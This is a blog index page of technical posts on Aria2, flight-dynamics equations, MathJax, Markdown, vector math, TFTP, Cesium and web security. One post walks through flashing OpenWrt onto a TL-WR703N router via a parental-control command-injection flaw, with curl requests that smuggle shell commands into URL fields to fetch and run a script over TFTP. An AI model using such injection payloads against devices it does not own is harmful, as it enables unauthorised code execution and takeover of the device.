Jack Huang's Blog


  • 首页

  • 标签

  • 归档

  • 搜索

开源跨平台下载利器Aria2

发表于 2019-01-07

长期以来,迅雷一直是我在Windows平台上首选的下载工具。但是随着迅雷软件升级更新后的下载限速和广告推销的愈演愈烈,我终于下定决心卸载了它。下面我推荐一款开源跨平台的下载利器Aria2。

Aria2简介

Aria2是一款自由、跨平台命令行界面的下载管理器,该软件根据GPLv2许可证进行分发。支持的下载协议有:HTTP、HTTPS、FTP、Bittorrent和Metalink。

不同于Wget这样的的命令行界面下载器,Aria2不仅支持BitTorrent,还能够从各种来源多路检索所请求的文件。包括HTTP,HTTPS,FTP和BitTorrent协议。aria2使用Metalink数据块的校验和自动查验BitTorrent下载的数据部分。

安装配置

从Aria2官网下载最新Aria2安装包,当前Aria2最新的版本为1.34.0。

将下载的Aria2安装包aria2-1.34.0-win-64bit-build1解压到C盘目录,并将Aria2安装目录添加到Windows环境变量PATH。

重启后,打开Windows终端,即可在命令行中使用Aria2下载文件。

使用帮助

从Web中下载文件:

1
aria2c http://example.org/mylinux.iso

从2个源下载文件:

1
aria2c http://a/f.iso ftp://b/f.iso

使用2个连接下载文件:

1
aria2c -x2 http://a/f.iso

BitTorrent下载:

1
aria2c http://example.org/mylinux.torrent

BitTorrent Magnet URI下载:

1
aria2c 'magnet:?xt=urn:btih:248D0A1CD08284299DE78D5C1ED359BB46717D8C'

按照txt中给出的URI下载:

1
aria2c -i uris.txt

参考链接

  1. Aria2,by wikipedia.
  2. Aria2 Homepage,by Aria2.

飞行仿真之刚体六自由度方程

发表于 2019-01-06 | 更新于 2020-07-27

在飞行仿真中,获取飞机的位姿是基本要求。将飞行器视为刚体,根据牛顿第二定律和动量矩定理,即可推导出飞机的质心运动方程和飞机绕质心转动的动力学方程,即刚体的六自由度方程。下面即从《航空飞行器飞行动力学》中摘抄刚体六自由度方程的推导过程。

飞行器质心运动方程

根据牛顿第二定理:

$$m\frac{dV}{dt}=F \tag{1}$$

式中$m$为飞行器质量,$V$为飞行器飞行速度矢量,$F$为作用于质心处外力的合力矢量。

具体研究飞行器质心运动规律时,工程上常建立投影正在一动坐标系的标量方程,并认为大气时静止的。

一般动坐标系中质心动力学方程

取原点位于飞行器质心的一动坐标系$Oxyz$,它相对惯性坐标系$O_gx_gy_gz_g$有一转动角速度$w$。质心的绝对速度为$V$,如图1所示。

动系相对于惯性坐标系的关系

图1 动系相对于惯性坐标系的关系

将速度$V$和角速度$w$分别在动坐标系上投影,则有

$$V=V_xi+V_yj+V_zk \tag{2}$$
$$w=w_xi+w_yj+w_zk \tag{3}$$

式中$i,j,k$为动坐标系$Oxyz$的单位矢量。由于$w$存在,其方向将随时间变化。

将公式$(2)和(3)$带入公式$(1)$,则速度$V$的微分,即质心的绝对加速度为:

$$
\frac{F}{m}=\frac{dV}{dt}=\frac{dV_x}{dt}i+\frac{dV_y}{dt}j+\frac{dV_z}{dt}k+V_x\frac{di}{dt}+V_y\frac{dj}{dt}+V_z\frac{dk}{dt} \tag{4}
$$

式中单位矢量导数$di/dt$是矢量端点$i$的速度,此时矢端曲线是绕$w$旋转的圆,因此:

$$\frac{di}{dt}=w\times i$$
$$\frac{dj}{dt}=w\times y$$
$$\frac{dk}{dt}=w\times z$$

将上述关系代入公式$(4)$,即可知质心的绝对加速度可表示为

$$\frac{F}{m}=\frac{dV}{dt}=\frac{\delta V}{\delta t}+w \times V \tag{5}$$

其中:

$$\frac{\delta V}{\delta t}=\frac{dV_x}{dt}i+\frac{dV_y}{dt}j+\frac{dV_z}{dt}k$$

式(5)中 $\frac{\delta V}{\delta t}$ 为动系角速度 $w=0$ 时的加速度,即相当于观察者站在动坐标系中所看到的质心加速度;$w\times V$为由于存在角速度 $w$ 使 $V$ 相对于动坐标系方向发生变化而产生的加速度;$\frac{dV}{dt}$ 为质心的绝对加速度,即观察者在地面坐标系上所看到的加速度。

同样合力矢量$F$用动坐标系上投影表示为:

$$F=F_xi+F_yj+F_zk$$

于是式(5)在动坐标系$Oxyz$上投影的质心动力学标量方程如下:

$$m(\frac{dV_x}{dt}+V_zw_y-V_yw_z)=F_x$$
$$m(\frac{dV_y}{dt}+V_xw_z-V_zw_x)=F_y$$
$$m(\frac{dV_z}{dt}+V_yw_x-V_xw_y)=F_z$$

上述方程组适用于任何动坐标系。

飞行器绕质心的动力学方程

根据动量矩定理,飞行器绕质心的转动运动可表示为:

$$M=\frac{dh}{dt} \tag{6}$$

式中$h$为飞行器对坐标系原点的动量矩;$M$为作用在飞行器上的外力对原点的合力矩。

对质心的动量矩

图2 对质心的动量矩

根据动量矩定义,飞行器上任意微元质量为dm,对坐标系原点的动量矩为:

$$\Delta h=r\times V dm$$

式中$r$为微元质量到坐标系原点的矢径;$V$为该微元质量的速度矢量,则

$$V=V_o+w\times r$$

式中$V_o$为坐标系原点速度(如坐标原点取为飞行器质心,则为质心速度);$w$为坐标系转动角速度。

于是飞行器的总动量矩可积分得出

$$h=\int r\times V dm=\int r dm \times V_o +\int r \times (w \times r) dm$$

取坐标系原点为质心时,有

$$\int r dm=0$$

飞行器动量矩简化为

$$h=\int r \times (w\times r) dm \tag{7}$$

上式表明,飞行器的动量矩只取决于转动产生的速度部分,而与质心运动速度$V_o$无关。矢径$r$和角速度$w$用坐标系中投影分量表示为:

$$r=xi+yj+zk$$
$$w=w_xi+w_yj+w_zk$$

将上述关系式代入式$(7)$,经整理得:

$$h_x=w_xI_x-w_yI_{xy}-w_zI_{zx}$$
$$h_y=w_yI_y-w_xI_{xy}-w_zI_{yz}$$
$$h_z=w_zI_z-w_xI_{zx}-w_yI_{yz}$$

式中$I_x$,$I_y$,$I_z$分别为飞行器对$O_x$轴,$O_y$轴,$O_z$轴地惯性矩,分别为:

$$I_x=\int (y^2+z^2) dm$$
$$I_y=\int (x^2+z^2) dm$$
$$I_z=\int (x^2+y^2) dm$$

而$I_{xy}$, $I_{yz}$, $I_{zx}$ 则为对 $O_x$ 轴与 $O_y$ 轴,$O_y$ 轴与 $O_z$ 轴,$O_z$ 轴与 $O_x$ 轴的惯性积,分别为:

$$I_{xy}=\int xy dm$$
$$I_{yz}=\int yz dm$$
$$I_{zx}=\int zx dm$$

一般动坐标系中绕质心转动动力学方程

具体研究飞行器绕质心转动规律时,矢量形式的式$(6)$使用不便。工程习惯上将其投影在一动坐标系上建成方程的标量形式。此时动坐标系在空中以$w$转动,类同于加速度$\frac{dV}{dt}$,动量矩可以表示为:

$$M=\frac{dh}{dt}=\frac{\delta h}{\delta t}+w\times h$$

类似一般动坐标系中质心动力学方程的推导,最终可得转动运动方程的标量形式为:

$$\frac{dh_x}{dt}+h_zw_y-h_yw_z=M_x$$
$$\frac{dh_y}{dt}+h_xw_z-h_zw_x=M_y$$
$$\frac{dh_z}{dt}+h_yw_x-h_xw_y=M_z$$

参考文献

  1. 方振平,陈万春,张曙光. 航空飞行器飞行动力学[M]. 2015.
  2. 旋转变换(一)旋转矩阵,by csxiaoshui.
  3. 飞行仿真–3.刚体六自由度方程、变换矩阵与四元数,by WFYX.
  4. 判断三维坐标系旋转正方向的简单方法,by Wonderffee.
  5. (番外)姿态与旋转矩阵(I),by Tam Alex.
  6. 一点关于机器人学和计算机视觉中的坐标变换的理解,by Kissrabbit.
  7. 飞机是怎么飞起来的,by J Pan.
  8. 如何获得飞机运动方程,by J Pan.
  9. 【自动控制原理】1.传递函数,by 李寒潭.
  10. 空空导弹尾部的齿轮有什么用?,by 不沉俾斯麦.
  11. 导弹制导原理第4章,by 张庆振.
  12. 飞行原理术语解析,by 刘斯宁.
  13. 空气动力学术语解析,by 刘斯宁.

MathJax语法笔记

发表于 2019-01-05 | 更新于 2019-01-26

MathJax是一个跨浏览器的JavaScript库,它使用MathML、LaTeX和ASCIIMathML标记在Web浏览器中显示数学符号。MathJax是在Apache许可证下作为开源软件发布的。

安装MathJax

MathJax有三种安装方式:最简单的方法就是使用分布式网络服务中的MathJax的副本,它位于 cdn.mathjax.org ,但是你也可以下载并安装一个MathJax的副本到你的服务器,或者使用在你本地硬盘的副本(这样是不需要使用网络)。 官方文档里有详细的描述。

MathJax语法

如何插入公式

LaTeX的数学公式有两种:行中公式和独立公式。行中公式放在文中与其它文字混编,独立公式单独成行。

行中公式可以用如下两种方法表示:

(数学公式) 或 $数学公式$

独立公式可以用如下两种方法表示:

[数学公式] 或 $$数学公式$$

打Tag和引用公式

如果在某个公式之后,又想要引用原公式并说明原公式的出处,可以用 tagging/labelling/referencing system来做。

可以用 \tag{yourtag} 来给原公式打 Tag。

$$m\frac{dV}{dt}=F \tag{1}$$

如果在后面需要引用它,就在 \tag 后面加上 \label{somelabel},yourtag 和 somelabel不一定要一样,但最好一样。

参考链接

  1. MathJax, by wikipedia.
  2. MathJax使用LaTeX语法编写数学公式教程, by knight.
  3. MathJax Home, by mathjax.

Markdown语法笔记

发表于 2019-01-05

一直使用Markdown编辑文档,偶尔会遇到使用一些特殊Markdown语法,为了防止遗忘,特在此记录一下。

强调

在Markdown中,可以使用 * 和 _ 表示斜体,用 ** 表示加粗。例如:

Coding,让开发更简单

Coding,让开发更简单

Coding,让开发更简单

引用

Markdown 标记区块引用和 email 中用 『>』的引用方式类似,只需要在整个段落的第一行最前面加上 『>』 :

Coding.net 为软件开发者提供基于云计算技术的软件开发平台,包括项目管理,代码托管,运行空间和质量控制等等。

区块引用可以嵌套,只要根据层次加上不同数量的『>』:

这是第一级引用。

这是第二级引用。

现在回到第一级引用。

参考链接

  1. Markdown 语法介绍, by coding.

向量点积叉积及其几何意义

发表于 2019-01-05

在3D游戏开发中,经常用到向量的点积和叉积及其几何意义,为防止遗忘,在此记录一下。

点积

在数学中,点积(德语:Skalarprodukt、英语:Dot Product)又称数量积或标量积(德语:Skalarprodukt、英语:Scalar Product),是一种接受两个等长的数字序列(通常是坐标向量)、返回单个数字的代数运算。在欧几里得几何中,两个笛卡尔坐标向量的点积常称为内积(德语:inneres Produkt、英语:Inner Product),见内积空间。

定义

点积有两种定义方式:代数方式和几何方式。通过在欧氏空间中引入笛卡尔坐标系,向量之间的点积既可以由向量坐标的代数运算得出,也可以通过引入两个向量的长度和角度等几何概念来求解。

代数定义

两个向量 $\vec{a} = [a1, a2,…, an]$和 $\vec{b} = [b1, b2,…, bn]$的点积定义为:

$$\vec{a}\cdot \vec{b} = \sum_{i=1}^n a_ib_i = a_1b_1 + a_2b_2 + \cdots + a_nb_n$$
这里的Σ是求和符号,而n是向量空间的维数。

几何定义

在欧几里得空间中,点积可以直观地定义为

$$\vec{a} \cdot \vec{b} = |\vec{a}| , |\vec{b}| \cos \theta ;$$

这里 $|\vec{x}|$ 表示 $\vec{x}$的模(长度), $\theta$ 表示两个向量之间的角度。

叉积

在数学和向量代数领域,叉积(英语:Cross product)又称向量积(英语:Vector product),是对三维空间中的两个向量的二元运算,使用符号 $\times$。与点积不同,它的运算结果是向量。对于线性无关的两个向量 $\mathbf {a}$ 和 $\mathbf {b}$ ,它们的叉积写作 ${\mathbf {a} \times \mathbf {b} }$,是 $\mathbf {a}$ 和 $\mathbf {b}$ 所在平面的法线向量,与 $\mathbf {a}$ 和 $\mathbf {b}$ 都垂直。叉积被广泛运用于数学、物理、工程学、计算机科学领域。

定义

两个向量 $\mathbf {a}$ 和 $\mathbf {b}$ 的叉积仅在三维空间中有定义,写作 ${\displaystyle \mathbf {a} \times \mathbf {b} }$。在物理学中,叉积有时也被写成${\displaystyle \mathbf {a} \wedge \mathbf {b} }$,但在数学中 ${\displaystyle \mathbf {a} \wedge \mathbf {b} }$ 是外代数中的外积。

叉积 ${\displaystyle \mathbf {a} \times \mathbf {b} }$ 是与 $\mathbf {a}$ 和 $\mathbf {b}$ 都垂直的向量 $\mathbf {c}$ 。其方向由右手定则决定,模长等于以两个向量为边的平行四边形的面积。

右手定则

叉积可以定义为:

$${\displaystyle \mathbf {a} \times \mathbf {b} =|\mathbf {a} ||\mathbf {b} |\sin(\theta )\ \mathbf {n} }$$

其中$\theta$ 表示 $\mathbf {a}$ 和 $\mathbf {b}$ 在它们所定义的平面上的夹角( ${\displaystyle 0^{\circ }\leq \theta \leq 180^{\circ }}$)。 ${\displaystyle |\mathbf {a} |}$ 和 ${\displaystyle |\mathbf {b} |}$ 是向量$\mathbf {a}$ 和 $\mathbf {b}$ 的模长,而 $\mathbf{n}$ 则是一个与 $\mathbf {a}$ 、 $\mathbf {b}$ 所构成的平面垂直的单位向量,方向由右手定则决定。根据上述公式,当$\mathbf {a}$ 与 $\mathbf {b}$ 平行(即 $\theta$ 为 0° 或 180°)时,它们的叉积为零向量 $\mathbf{0}$。

在右手坐标系中的向量积

矩阵表示

叉积可以表达为这样的行列式:

$${\displaystyle \mathbf {u\times v} ={\begin{vmatrix}\mathbf {i} &\mathbf {j} &\mathbf {k} \u_{1}&u_{2}&u_{3}\v_{1}&v_{2}&v_{3}\\end{vmatrix}}}$$

这个行列式可以使用萨吕法则或拉普拉斯展开计算。使用拉普拉斯展开可以沿第一行展开为:

$${\displaystyle {\begin{aligned}\mathbf {u\times v} &={\begin{vmatrix}u_{2}&u_{3}\v_{2}&v_{3}\end{vmatrix}}\mathbf {i} -{\begin{vmatrix}u_{1}&u_{3}\v_{1}&v_{3}\end{vmatrix}}\mathbf {j} +{\begin{vmatrix}u_{1}&u_{2}\v_{1}&v_{2}\end{vmatrix}}\mathbf {k} \&=(u_{2}v_{3}-u_{3}v_{2})\mathbf {i} -(u_{1}v_{3}-u_{3}v_{1})\mathbf {j} +(u_{1}v_{2}-u_{2}v_{1})\mathbf {k} \end{aligned}}}$$
可以直接得到结果向量。

参考链接

  1. 叉积, by wikipedia.
  2. 数量积, by wikipedia.
  3. 向量点乘(内积)和叉乘(外积、向量积)概念及几何意义解读, by -牧野-.

Python批量重命名文件

发表于 2019-01-01 | 更新于 2022-05-15

最近从iData中下载了很多学术论文,这些论文文件名都以“www.cn-ki.net_”开头,一个个重命名太麻烦,于是使用如下python3脚本批量重命名文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Python3 code to rename multiple  
# files in a directory or folder

# importing os module
import os

# Function to rename multiple files
def main():

# search file in current directory
for filename in os.listdir("."):

if os.path.isfile(filename):
if "www.cn-ki.net_" in filename[0:14]:
src=filename
dst=filename[14:]
# rename the special file
os.rename(src, dst)

# Driver Code
if __name__ == '__main__':

# Calling main() function
main()

参考文献

  1. How to sort with lambda in Python,by linuxhint.
  2. 用Python复制文件的9个方法,by 景略集智.
  3. shutil — 高阶文件操作,by python.
  4. python glob.glob使用,by mantoureganmian.

TL-WR703N版本v1.7刷openwrt教程

发表于 2018-12-31 | 更新于 2021-07-16

我的TL-WR703N路由器运行不稳定,就准备尝试刷最新的OpenWRT,看看能否好一点。

准备工作

  • 一个 TP-Link TL-WR703N 路由器,确保固件版本为 3.17.1 Build 140120 Rel.56593n
    1
    # 在刷机之前,按reset按钮重置路由器
  • TL-WR703N 的 openwrt 固件 openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
    1
    2
    3
    4
    # 下载openwrt固件并拆分成两份(因为wr703n的内存很小,可能传输的时候传不了整个文件)
    curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
    dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
    dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
  • TFTP 服务器
    1
    2
    # 安装TFTP的客户端和服务器端
    sudo apt-get install atftp atftpd
  • busybox 1.16.1 MIPS 版
    1
    curl https://busybox.net/downloads/binaries/1.21.1/busybox-mips > busybox
  • 编写Hack脚本
    1
    2
    3
    4
    5
    6
    7
    8
    cd /tmp
    tftp -gl i1 192.168.1.100 # 把i1从tftp服务器下载下来,这里的ip应该是,你的tftp服务器连接路由器之后,ifconfig看到的ip
    tftp -gl i2 192.168.1.100 # 把i2从tftp服务器下载下来
    tftp -gl busybox 192.168.1.100 # 把busybox从tftp服务器下载下来
    chmod 755 busybox # 修改busybox权限以执行命令
    ./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync # 将i1写入磁盘分区
    ./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync # 将i2写入磁盘分区
    reboot -f # 重启,会启动openwrt

刷机流程

在V1.7以前,可以通过路由器的Web UI直接将openwrt刷到板子上,但在V1.7之后,只能通过利用TP-LINK家长控制的漏洞,让路由板执行一些代码,成功刷写openwrt系统。本教程就是利用TP-LINK家长控制的漏洞进行openwrt刷机。下面介绍openwrt刷机的步骤。

搭建tftp服务器

在Debian操作系统中搭建tftp服务器请参考链接4。将busybox、 拆开的固件i1和i2、Hack脚本aa放入tftp服务器目录。

Hack into TL-WR703N

这个方法是利用TPLINK家长控制漏洞,以curl的方式执行命令,让路由器从tftp服务器上下载脚本,执行命令,从而将openwrt固件写入路由器。

【警告】以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。一旦变砖,请用3.3V的串口线抢救。

步骤如下:

  • 长按reboot按钮将路由器恢复出厂设置

  • 将tftp服务器通过WiFi的方式连接到路由器 TL-WR703N,ifconfig记住tftp服务器的ip,我的是192.168.1.100

  • 在tftp服务器上执行如下命令修改路由器WebUI默认管理员密码

    1
    2
    # 此处修改密码为admin42,注意Cookies中认证变量Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D即是设置管理员密码为admin42。后续将继续使用该变量进行其他操作,如果认证变量不正确,操作将无法执行。
    curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'
  • 启用家长控制(利用漏洞)

1
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
  • 让路由器从tftp服务器下载并执行脚本
    1
    2
    # 执行下述命令后,等待大约三分钟,路由器会重启进入openwrt系统,状态灯会闪烁一会儿
    curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'

openwrt系统配置

openwrt默认使用LuCI 用户界面,具体配置方法暂时没有时间研究。

参考链接

  1. 给 v1.7 版本的 TL-WR703N 刷 openwrt,by Cubic Zone.
  2. TL-WR703N v1.7刷openwrt,by 梦里茶.
  3. TP-Link TL-WR703N,by openwrt.
  4. Debian安装配置使用TFTP,by jack huang.
  5. Packet Traveling,by ed harmoush.

Debian安装配置使用TFTP

发表于 2018-12-30 | 更新于 2019-03-17

简单文件传输协议也称小型文件传输协议(Trivial File Transfer Protocol, TFTP),是一种简化的文件传输协议(FTP),通过少量存储器就能轻松实现。

TFTP技术信息

小型文件传输协议的一些详细资料:

  • 使用UDP(端口69)作为其传输协议(不像FTP使用TCP端口21)。
  • 不能列出目录内容。
  • 无验证或加密机制。
  • 被用于在远程服务器上读取或写入文件。
  • 支持三种不同的传输模式:”netascii”,”octet”和”mail”,前两种匹配FTP协议中的”ASCII”和”image(binary)”模式;第三种从来很少使用,当前已经废弃。

TFTP安装

安装TFTP的客户端和服务器端:

1
sudo apt-get install atftp atftpd

TFTP配置

  1. 创建TFTP服务器目录
1
2
3
sudo mkdir /tftpboot
sudo chmod 777 /tftpboot
sudo chmod 777 /tftpboot/*
  1. 编辑TFTP配置文件
1
2
3
4
5
sudo gedit /etc/default/atftpd

# 修改内容如下,主要是修改目录
USE_INETD=false
OPTIONS="--daemon --port 69 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
  1. 重启TFTP守护程序
1
sudo /etc/init.d/atftpd restart

TFTP测试

1
2
3
4
5
6
7
8
9
~$ sudo tftp 192.168.43.116
tftp> status
Connected to 192.168.43.116.
Mode: netascii Verbose: off Tracing: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> get iproad.txt
Received 959 bytes in 0.0 seconds
tftp> put upload.txt
Sent 13 bytes in 0.0 seconds

参考链接

  1. TFTP,by wikipedia.
  2. Using TFTP to Install Malicious Software on the Target,by kail forum.

Cesium中3D模型的驱动方法

发表于 2018-12-26 | 更新于 2023-07-16

Cesium中3D模型的运动可以使用CZML直接驱动,但使用该方法前提是能事先计算出3D模型的运动轨迹,具有很大的局限性。那么如何实时驱动3D模型呢?

Cesium渲染过程分析

Cesium渲染过程的分析可以参考链接1。Cesium的渲染始于虚拟地球组件CesiumWidget的startRenderLoop方法,在该方法中将调用requestAnimationFrame函数开始渲染。

虚拟地球组件CesiumWidget包含Scene组件,在其render方法随后调用Scene的render方法。在场景组件Scene的render方法中提供了preUpdate、postUpdate、preRender、postRender四个事件对象,这四个事件对象将是我们实时驱动3D模型的关键。

preUpdate事件

在Cesium更新渲染周期开始之前以目标帧率触发preUpdate事件。

1
2
3
4
5
6
scene.postUpdate.addEventListener(function() {
// This code will run at 60 FPS
if (changeToPromptRender) {
scene.requestRender();
}
});

postUpdate事件

在场景更新之后,新帧渲染之前以目标帧率触发postUpdate事件。

preRender事件

在场景更新之后,新帧渲染之前触发preRender事件。

1
2
3
4
scene.preRender.addEventListener(function() {
// This code will run when a new frame is rendered
// including when changeToPromptRender is true
});

postRender事件

在新帧渲染之后触发postRender事件。

实时驱动3D模型

从上一节对Cesium渲染过程分析可知,要实时驱动3D模型,应订阅场景Scene的preUpdate事件,在preUpdate事件的处理函数中改变3D模型的位置和姿态。

订阅preUpdate事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//订阅场景的preUpdate事件
viewer.scene.preUpdate.addEventListener(function(scene, time) {
speedVector = Cesium.Cartesian3.multiplyByScalar(Cesium.Cartesian3.UNIT_X, speed / 10, speedVector);
position = Cesium.Matrix4.multiplyByPoint(planePrimitive.modelMatrix, speedVector, position);
pathPosition.addSample(Cesium.JulianDate.now(), position);
Cesium.Transforms.headingPitchRollToFixedFrame(position, hpRoll, Cesium.Ellipsoid.WGS84, fixedFrameTransform, planePrimitive.modelMatrix);

if (fromBehind.checked) {
// Zoom to model
Cesium.Matrix4.multiplyByPoint(planePrimitive.modelMatrix, planePrimitive.boundingSphere.center, center);
hpRange.heading = hpRoll.heading;
hpRange.pitch = hpRoll.pitch;
camera.lookAt(center, hpRange);
}
});

获取czml实体的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
viewer.scene.preUpdate.addEventListener(function(scene, time) {
//target是czml实体对象
//获取time时刻target的位置参数
target.position.getValue(time,position)
console.log(position)

target.orientation.getValue(time,orientation)
console.log(orientation)
});

viewer.scene.preUpdate.addEventListener(function(scene, time) {
var pos=target.position.getValue(time)
console.log(pos.toString())
//世界坐标转经纬高
var cartographicPosition = Cesium.Ellipsoid.WGS84.cartesianToCartographic(pos);
console.log(cartographicPosition.toString())
});

使用Entity API加载3D模型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var viewer = new Cesium.Viewer('cesiumContainer');
var center=Cesium.Cartesian3.fromDegrees(-123.0744619, 44.0503706,100);
var hpr=Cesium.HeadingPitchRoll.fromDegrees(90,-90,0);
//从headingPitchRoll转四元数
var quatern=Cesium.Transforms.headingPitchRollQuaternion(center,hpr);

var entity = viewer.entities.add({
position :center ,
orientation:quatern ,
model : {
uri : '../../../../Apps/SampleData/models/missile.glb',
scale: 0.1,
minimumPixelSize:50,
maximumScale:5000
}
});
viewer.trackedEntity = entity;

使用Primitive API加载3d模型

1
2
3
4
5
6
7
8
9
10
11
12
var viewer = new Cesium.Viewer('cesiumContainer');

var center1=Cesium.Cartesian3.fromDegrees(-123.0744619, 44.0503706,100);
var hpr1=Cesium.HeadingPitchRoll.fromDegrees(90,-90,100);
//计算模式矩阵,实现本地坐标系坐标到世界坐标系坐标的转换
var modelMatrix=Cesium.Transforms.headingPitchRollToFixedFrame(center1, hpr1)

var model = viewer.scene.primitives.add(Cesium.Model.fromGltf({
url : '../../../../Apps/SampleData/models/missile.glb',
modelMatrix : modelMatrix,
scale : 1.0
}));

参考链接

  1. Cesium摄像头跟踪飞机实体时晃动问题分析,by jack huang.
  2. Improving Performance with Explicit Rendering, by Gabby Getz.
  3. Cesium 源码打包入门 [ver1.72] ,by mob604756f3c518.

Web安全攻防技术探讨

发表于 2018-12-22 | 更新于 2021-04-02

网络安全(英语:network security)包含网络设备安全、网络信息安全、网络软件安全。在此重点探讨网络软件安全中的Web安全。当前Web安全面临的压力越来越大,一方面是Web应用一统江湖,君临天下,另一方面针对Web应用的攻击越来越多,攻击方法越来越成熟。下面重点介绍常见的Web攻击方法。

XSS

XSS (Cross Site Script,跨站脚本攻击)的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。

非持久型 XSS

持久型 XSS

CSRF

CSRF(Cross-Site Request Forgery,跨站请求伪造攻击)可以盗用你的登陆信息,以你的身份模拟发送各种请求。

SQL 注入

SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。

命令行注入

命令行注入漏洞,指的是攻击者能够通过 HTTP 请求直接侵入主机,执行攻击者预设的 shell 命令。

DDoS 攻击

DDoS 又叫分布式拒绝服务,全称 Distributed Denial of Service,其原理就是利用大量的请求造成资源过载,导致服务不可用。

网络层 DDoS

应用层 DDoS

流量劫持

流量劫持是黑产行业的一大经济支柱。

DNS 劫持

HTTP 劫持

参考链接

  1. Advanced web security topics,by George.
  2. 网络安全,by wikipedia.
  3. 常见 Web 安全攻防总结,by zoumiaojiang.
  4. RSA 的原理与实现,by cjting.
  5. 暗网取证研究,by 苏再添.
上一页1…454647…53下一页

Jack Huang

528 日志
68 标签
© 2025 Jack Huang
由 Hexo 强力驱动
|
主题 — NexT.Muse